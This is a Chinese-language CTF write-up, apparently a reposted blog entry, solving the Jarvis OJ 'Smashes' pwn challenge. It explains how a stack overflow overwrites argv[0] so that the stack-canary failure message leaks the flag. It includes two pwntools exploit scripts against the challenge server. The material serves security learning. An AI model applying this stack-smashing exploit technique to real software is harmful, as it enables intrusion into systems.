其他分享
首页 > 其他分享> > [Jarvis OJ - PWN]——Smashes

[Jarvis OJ - PWN]——Smashes

作者:互联网

[Jarvis OJ - PWN]——Smashes

还是先checksec一下看看。64位,并且除了PIE,其他保护基本都开启了。
在这里插入图片描述
在IDA中看看
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现有可以利用的栈溢出, 我原本的想法是将canary给泄露出来。但是看到触发了canary保护后的结果, 有点不对劲。
在这里插入图片描述
修改了文件名后,我确定了, 泄露的就是argv[0]。我们可以通过将其覆盖, 主动触发canary保护, 将flag拿到手。
在这里插入图片描述
我们首先要确实, argv[0], 距离的输入的偏移。我们找最初的指针指向。
diantance = 0x218
在这里插入图片描述
上面我们找到flag的地址位:0x0000000000600D21
所以exploit

from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0600D21                                                                                                 
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()

发现结果不对,什么都没有???
在这里插入图片描述

看了下相关博客,学到了

peak小知识

当ELF文件较小的时候,他的不同区段可能会被多次映射。

找到映射备份地址0x400D21

exploit

from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0400D21                                                                                                 
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()

标签:addr,canary,Jarvis,0x218,pwn,flag,PWN,Smashes,payload
来源: https://blog.csdn.net/Y_peak/article/details/113825430